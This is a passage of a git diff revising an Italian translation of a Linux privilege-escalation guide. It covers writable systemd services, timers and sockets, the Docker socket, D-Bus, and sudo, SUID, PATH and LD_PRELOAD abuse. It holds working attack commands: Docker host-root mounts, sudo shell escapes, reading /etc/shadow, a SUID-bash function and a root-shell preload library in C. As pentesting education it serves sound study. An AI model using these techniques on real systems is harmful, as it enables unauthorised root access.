anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (monitorerà e elencherà ogni processo che viene avviato). -### Cron job invisibili +### Cron jobs invisibili -È possibile creare un cronjob **inserendo un carriage return dopo un commento** (senza carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return): +È possibile creare un cronjob **inserendo un carriage return dopo un commento** (senza il carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,12 +406,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### File _.service_ scrivibili -Verifica se puoi scrivere qualche file `.service`; se puoi, **potresti modificarlo** in modo che **esegua** la tua **backdoor quando** il servizio viene **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario aspettare il riavvio della macchina).\ -Ad esempio crea la tua backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** +Verifica se puoi scrivere qualsiasi file `.service`; se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio viene **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario attendere il riavvio della macchina).\ +Ad esempio crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** -### File binari dei servizi scrivibili +### Binari di servizio scrivibili -Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi vengono rieseguiti le backdoor vengano eseguite. +Tieni presente che se hai i **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoors, così quando i servizi vengono rieseguiti le backdoors verranno eseguite. ### systemd PATH - Percorsi relativi @@ -419,44 +419,42 @@ Puoi vedere il PATH usato da **systemd** con: ```bash systemctl show-environment ``` -Se scopri di poter **scrivere** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **percorsi relativi usati nei file di configurazione dei servizi** come: +Se scopri che puoi **scrivere** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalare i privilegi**. Devi cercare **percorsi relativi utilizzati nei file di configurazione dei servizi** come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Poi, crea un **eseguibile** con lo **stesso nome del binario relativo** all'interno della cartella PATH di systemd che puoi scrivere, e quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma controlla se puoi usare `sudo -l`). +Poi, crea un **eseguibile** con lo **stesso nome del binario indicato con un percorso relativo** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Avvia**, **Ferma**, **Ricarica**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi ma verifica se puoi usare `sudo -l`). -**Learn more about services with `man systemd.service`.** +Per saperne di più sui servizi consulta `man systemd.service`. -## **Timers** +## **Timer** -**Timers** sono unit file di systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron poiché hanno supporto integrato per eventi di calendario e per eventi di tempo monotono e possono essere eseguiti in modo asincrono. +**Timer** sono file di unità di systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timer** possono essere usati come alternativa a cron poiché offrono supporto integrato per eventi basati su calendario e per eventi a tempo monotono e possono essere eseguiti in modo asincrono. -Puoi enumerare tutti i timers con: +Puoi elencare tutti i timer con: ```bash systemctl list-timers --all ``` ### Timer scrivibili -Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come una `.service` o una `.target`) +Se puoi modificare un timer, puoi farlo eseguire alcune systemd.unit esistenti (come una `.service` o una `.target`). ```bash Unit=backdoor.service ``` -Nella documentazione puoi leggere cos'è la Unit: +> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un service che ha lo stesso nome dell'unità timer, eccetto il suffisso. (Vedi sopra.) Si consiglia che il nome dell'unità che viene attivata e il nome dell'unità timer siano identici, fatta eccezione per il suffisso. -> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito corrisponde a un service che ha lo stesso nome dell'unità timer, eccetto per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano identici, fatta eccezione per il suffisso. +Pertanto, per abusare di questa autorizzazione dovresti: -Pertanto, per abusare di questo permesso avresti bisogno di: +- Trovare qualche unità systemd (come una `.service`) che stia eseguendo un **writable binary** +- Trovare qualche unità systemd che stia **executing a relative path** e sulla quale hai i **writable privileges** sulla **systemd PATH** (per impersonare quell'eseguibile) -- Trovare qualche systemd unit (come una `.service`) che sia **executing a writable binary** -- Trovare qualche systemd unit che sia **executing a relative path** e su cui hai **writable privileges** sulla **systemd PATH** (per impersonare quell'eseguibile) +**Per saperne di più sui timer usa `man systemd.timer`.** -**Per saperne di più sui timer vedi `man systemd.timer`.** +### **Abilitare il timer** -### **Abilitazione del Timer** - -Per abilitare un timer sono necessari privilegi root e l'esecuzione di: +Per abilitare un timer sono necessari privilegi root ed eseguire: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -465,32 +463,32 @@ Nota che il **timer** viene **attivato** creando un symlink verso di esso in `/e ## Sockets -Unix Domain Sockets (UDS) permettono la **comunicazione tra processi** sulla stessa macchina o tra macchine diverse in modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione tra computer e vengono configurati tramite file `.socket`. +Unix Domain Sockets (UDS) consentono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file `.socket`. -I socket possono essere configurati usando file `.socket`. +Sockets can be configured using `.socket` files. -**Per saperne di più sui sockets usa `man systemd.socket`.** All'interno di questo file possono essere configurati diversi parametri interessanti: +**Learn more about sockets with `man systemd.socket`.** All'interno di questo file si possono configurare diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma, in sintesi, servono a **indicare dove il socket ascolterà** (il percorso del file socket AF_UNIX, l'indirizzo IPv4/6 e/o la porta su cui ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **true**, viene **creata un'istanza di service per ogni connessione in ingresso** e viene passato soltanto il socket di connessione. Se **false**, tutti i socket di ascolto vengono **passati all'unità di service avviata**, e viene creata una sola unità di service per tutte le connessioni. Questo valore è ignorato per i datagram sockets e le FIFO dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per ragioni di performance è consigliato scrivere nuovi daemon in modo compatibile con `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Accettano una o più linee di comando, che vengono **eseguite prima** o **dopo** che i socket/FIFO di ascolto siano rispettivamente **creati** e collegati. Il primo token della riga di comando deve essere un filename assoluto, seguito dagli argomenti per il processo. -- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i socket/FIFO di ascolto siano rispettivamente **chiusi** e rimossi. -- `Service`: Specifica il nome dell'unità di service da attivare sul traffico in ingresso. Questa impostazione è consentita solo per socket con `Accept=no`. Di default prende il service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non dovrebbe essere necessario usare questa opzione. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono differenti ma, in sintesi, servono a **indicare dove il socket ascolterà** (il percorso del file socket AF_UNIX, l'indirizzo IPv4/6 e/o il numero di porta da ascoltare, ecc.) +- `Accept`: Accetta un argomento booleano. Se **true**, viene **avviata un'istanza di service per ogni connessione in ingresso** e solo il socket di connessione le viene passato. Se **false**, tutti i socket di ascolto vengono **passati all'unità di service avviata**, e viene generata una sola unità di service per tutte le connessioni. Questo valore è ignorato per datagram sockets e FIFO, dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per ragioni di performance, è raccomandato scrivere nuovi daemon in modo compatibile con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accettano una o più linee di comando, che vengono **eseguite prima** o **dopo** che i socket/FIFO di ascolto siano **creati** e associati, rispettivamente. Il primo token della riga di comando deve essere un nome file assoluto, seguito dagli argomenti per il processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i socket/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. +- `Service`: Specifica il nome dell'unità di **service** da **attivare** sul traffico in ingresso. Questa impostazione è consentita solo per socket con Accept=no. Di default punta al service che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. -### File .socket scrivibili +### Writable .socket files -Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa del tipo: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare il riavvio della macchina.**\ -_Nota che il sistema deve stare usando quella configurazione del file socket o la backdoor non verrà eseguita_ +Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa del tipo: `ExecStartPre=/home/kali/sys/backdoor` e il backdoor verrà eseguito prima che il socket venga creato. Di conseguenza, **probabilmente dovrai aspettare che la macchina venga riavviata.**\ +_Nota che il sistema deve effettivamente usare quella configurazione del file socket o il backdoor non verrà eseguito_ -### Socket scrivibili +### Writable sockets -Se identifichi uno socket scrivibile (ora si parla di Unix Sockets e non dei file di config `.socket`), allora puoi comunicare con quello socket e magari sfruttare una vulnerabilità. +Se identifichi qualsiasi socket **scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. -### Enumerare Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Connessione grezza +### Connessione raw ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -499,7 +497,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Esempio di exploitation:** +**Exploitation example:** {{#ref}} @@ -508,36 +506,36 @@ socket-command-injection.md ### HTTP sockets -Nota che potrebbero esserci alcuni **sockets listening for HTTP** requests (_Non intendo i file .socket ma i file che agiscono come unix sockets_). Puoi verificarlo con: +Tieni presente che potrebbero esserci alcuni **sockets listening for HTTP** requests (_non sto parlando dei file .socket ma dei file che fungono da unix sockets_). Puoi verificarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se il socket **risponde con una richiesta HTTP**, puoi **comunicare** con esso e magari **exploit** qualche vulnerabilità. +Se la socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con essa e magari **sfruttare qualche vulnerabilità**. -### Docker Socket scrivibile +### Docker socket scrivibile -Il Docker socket, spesso trovato a `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Di default, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere write access a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile. +Il Docker socket, spesso presente in `/var/run/docker.sock`, è un file critico che dovrebbe essere messo in sicurezza. Per impostazione predefinita è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questa socket può portare a privilege escalation. Di seguito una panoramica su come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile. -#### **Privilege Escalation con Docker CLI** +#### **Privilege Escalation with Docker CLI** -Se hai write access al Docker socket, puoi ottenere privilege escalation usando i seguenti comandi: +Se hai accesso in scrittura al Docker socket, puoi escalate privileges usando i seguenti comandi: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` Questi comandi permettono di eseguire un container con accesso root al file system dell'host. -#### **Utilizzo diretto della Docker API** +#### **Usare direttamente la Docker API** -Se la Docker CLI non è disponibile, è comunque possibile manipolare il Docker socket usando la Docker API e comandi `curl`. +Nei casi in cui la Docker CLI non è disponibile, il Docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. -1. **Elencare le immagini Docker:** Recupera la lista delle immagini disponibili. +1. **List Docker Images:** Recupera la lista delle immagini disponibili. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Creare un container:** Invia una richiesta per creare un container che monta la directory root del sistema host. +2. **Create a Container:** Invia una richiesta per creare un container che monta la directory root del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +547,7 @@ Avvia il container appena creato: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Collegarsi al container:** Usa `socat` per stabilire una connessione al container, permettendo l'esecuzione di comandi al suo interno. +3. **Attach to the Container:** Collegati al container: usa `socat` per stabilire una connessione al container, permettendo l'esecuzione di comandi al suo interno. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -563,9 +561,9 @@ Dopo aver stabilito la connessione con `socat`, puoi eseguire comandi direttamen ### Altri -Nota che se hai permessi di scrittura sul docker socket perché sei **nel gruppo `docker`** hai [**più modi per escalare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Nota che se hai permessi di scrittura sul docker socket perché sei **dentro il gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consulta **altre modalità per uscire da docker o abusarne per escalare i privilegi** in: +Controlla **altri modi per evadere da Docker o abusarne per elevare i privilegi** in: {{#ref}} @@ -574,7 +572,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se puoi usare il comando **`ctr`** leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: +Se scopri di poter usare il comando **`ctr`** leggi la pagina seguente perché **potresti essere in grado di abusarne per elevare i privilegi**: {{#ref}} @@ -583,7 +581,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se puoi usare il comando **`runc`** leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: +Se scopri di poter usare il comando **`runc`** leggi la pagina seguente perché **potresti essere in grado di abusarne per elevare i privilegi**: {{#ref}} @@ -592,13 +590,13 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus è un sofisticato sistema di **inter-Process Communication (IPC)** che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i sistemi Linux moderni, offre un framework robusto per diverse forme di comunicazione tra applicazioni. +D-Bus è un sofisticato sistema di comunicazione tra processi (IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i moderni sistemi Linux, offre un framework robusto per diverse forme di comunicazione tra applicazioni. -Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, ricordando i **migliorati UNIX domain sockets**. Inoltre, facilita la diffusione di eventi o segnali, favorendo l'integrazione tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth riguardo una chiamata in arrivo può indurre un lettore musicale a mettere in muto l'audio, migliorando l'esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi. +Il sistema è versatile, supportando IPC di base che facilita lo scambio di dati tra processi, simile a socket di dominio UNIX potenziati. Inoltre, aiuta nella trasmissione di eventi o segnali, favorendo un'integrazione fluida tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth relativo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che erano tradizionalmente complessi. -D-Bus opera su un **modello allow/deny**, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente consentendo escalation dei privilegi tramite lo sfruttamento di tali permessi. +D-Bus opera su un modello allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente permettendo escalation di privilegi tramite lo sfruttamento di tali permessi. -Un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, descrivendo i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Un esempio di una tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliante i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy nel contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. ```xml @@ -609,7 +607,7 @@ Le policy senza un utente o gruppo specificato si applicano universalmente, ment ``` -**Scopri come enumerate e exploit una comunicazione D-Bus qui:** +**Scopri come enumerare e sfruttare una comunicazione D-Bus qui:** {{#ref}} @@ -618,9 +616,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rete** -È sempre interessante enumerate la rete per capire la posizione della macchina. +È sempre interessante enumerare la rete e capire la posizione della macchina. -### Generic enumeration +### Enumerazione generica ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -652,15 +650,15 @@ Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei ``` ### Sniffing -Verifica se puoi sniff traffic. Se puoi, potresti essere in grado di catturare alcune credenziali. +Verifica se puoi sniff traffic. Se ci riesci, potresti riuscire a ottenere alcune credenziali. ``` timeout 1 tcpdump ``` -## Users +## Utenti -### Generic Enumeration +### Enumerazione generica -Controlla **chi** sei, quali **privileges** hai, quali **users** sono nei sistemi, quali possono effettuare **login** e quali hanno **root privileges**: +Controlla **chi** sei, quali **privilegi** hai, quali **users** sono nei sistemi, quali possono effettuare il **login** e quali hanno **privilegi di root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,12 +682,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Alcune versioni di Linux sono state interessate da un bug che permette agli utenti con **UID > INT_MAX** di ottenere l'elevazione dei privilegi. Maggiori info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Alcune versioni di Linux sono state interessate da un bug che permette agli utenti con **UID > INT_MAX** di scalare i privilegi. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Sfruttalo** usando: **`systemd-run -t /bin/bash`** ### Gruppi -Controlla se sei **membro di qualche gruppo** che potrebbe concederti privilegi di root: +Verifica se sei **membro di qualche gruppo** che potrebbe concederti privilegi di root: {{#ref}} @@ -698,7 +696,7 @@ interesting-groups-linux-pe/ ### Appunti -Verifica se qualcosa di interessante è presente negli appunti (se possibile) +Controlla se c'è qualcosa di interessante negli appunti (se possibile) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -713,29 +711,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Passwords conosciute +### Password conosciute -Se **conosci una password** dell'ambiente **prova a effettuare il login come ciascun utente** usando quella password. +Se **conosci qualche password** dell'ambiente **prova a effettuare il login come ogni utente** usando la password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a effettuare un brute-force su un utente usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a effettuare brute-force sugli utenti. +Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a brute-force gli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anch'esso a brute-force gli utenti. ## Abusi del PATH scrivibile ### $PATH -Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di scalare privilegi creando **una backdoor nella cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non venga caricato da una cartella collocata prima** della tua cartella scrivibile nel $PATH. +Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di scalare privilegi creando una backdoor dentro la cartella scrivibile con il nome di un comando che verrà eseguito da un utente diverso (idealmente root) e che **non venga caricato da una cartella posizionata prima** della tua cartella scrivibile nel $PATH. ### SUDO e SUID -Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controlla usando: +Potresti essere autorizzato a eseguire alcuni comandi usando sudo oppure potrebbero avere il bit suid. Controllalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alcuni **comandi inaspettati ti permettono di leggere e/o scrivere file o addirittura eseguire un comando.** Ad esempio: +Alcuni **comandi inaspettati consentono di leggere e/o scrivere file o persino eseguire un comando.** Ad esempio: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,31 +744,31 @@ less>! ``` ### NOPASSWD -La configurazione di sudo potrebbe permettere a un utente di eseguire determinati comandi con i privilegi di un altro utente senza conoscere la password. +La configurazione di Sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio l'utente `demo` può eseguire `vim` come `root`; è ora banale ottenere una shell aggiungendo una ssh key nella directory di `root` o eseguendo `sh`. +In questo esempio l'utente `demo` può eseguire `vim` come `root`; è quindi banale ottenere una shell aggiungendo una ssh key nella root directory o invocando `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Questa direttiva permette all'utente di **set an environment variable** mentre esegue qualcosa: +Questa direttiva permette all'utente di **impostare una variabile d'ambiente** durante l'esecuzione di qualcosa: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, **basato su HTB machine Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria durante l'esecuzione dello script come root: +Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria durante l'esecuzione dello script come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: aggirare i percorsi di esecuzione +### Bypass dei percorsi di esecuzione di sudo -**Jump** per leggere altri file o usare **symlinks**. Per esempio in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** per leggere altri file o usare **symlinks**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -780,46 +778,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se viene usato un **wildcard** (\*), è ancora più semplice: +Se viene usata una **wildcard** (\*), è ancora più facile: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary senza path del comando +### Sudo command/SUID binary senza percorso del comando -Se il **permesso sudo** è concesso a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH +Se il permesso **sudo permission** è concesso per un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può anche essere usata se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un SUID binary)**. +Questa tecnica può essere usata anche se un **suid** binary **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un file SUID sospetto)**. [Payload examples to execute.](payloads-to-execute.md) ### SUID binary con percorso del comando -Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **export a function** con il nome del comando che il suid file sta chiamando. +Se il file **suid** **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** con il nome del comando che il file suid sta richiamando. -Per esempio, se un suid binary chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed exportarla: +Per esempio, se un file suid invoca _**/usr/sbin/service apache2 start**_, devi provare a creare la funzione ed esportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Quando esegui il binario suid, questa funzione verrà eseguita +Quindi, quando esegui lo suid binary, questa funzione verrà eseguita ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variabile d'ambiente **LD_PRELOAD** viene usata per specificare una o più librerie condivise (.so files) che devono essere caricate dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come precaricamento di una libreria. +La variabile d'ambiente **LD_PRELOAD** viene usata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come preloading di una libreria. -Tuttavia, per mantenere la sicurezza del sistema e impedire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema applica alcune condizioni: +Tuttavia, per mantenere la sicurezza del sistema e prevenire lo sfruttamento di questa funzionalità, in particolare con gli eseguibili **suid/sgid**, il sistema applica alcune condizioni: -- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non coincide con l'effective user ID (_euid_). -- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie presenti in percorsi standard che sono anch'esse suid/sgid. +- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non corrisponde all'effective user ID (_euid_). +- Per gli eseguibili con suid/sgid, vengono caricate in anticipo solo le librerie presenti in percorsi standard che sono anch'esse suid/sgid. -L'elevazione di privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dichiarazione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. +L'escalation di privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'istruzione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` @@ -836,7 +834,7 @@ setuid(0); system("/bin/bash"); } ``` -Quindi **compilalo** utilizzando: +Quindi **compilalo** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -846,7 +844,7 @@ Infine, **escalate privileges** eseguendo sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Una privesc simile può essere sfruttata se l'attaccante controlla la variabile d'ambiente **LD_LIBRARY_PATH**, perché controlla il percorso in cui verranno cercate le librerie. +> Una privesc simile può essere sfruttata se l'attacker controlla la env variable **LD_LIBRARY_PATH** perché controlla il percorso in cui verranno cercate le librerie. ```c #include #include @@ -868,11 +866,11 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando si incontra un binary con i permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: +Quando si incontra un binary con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 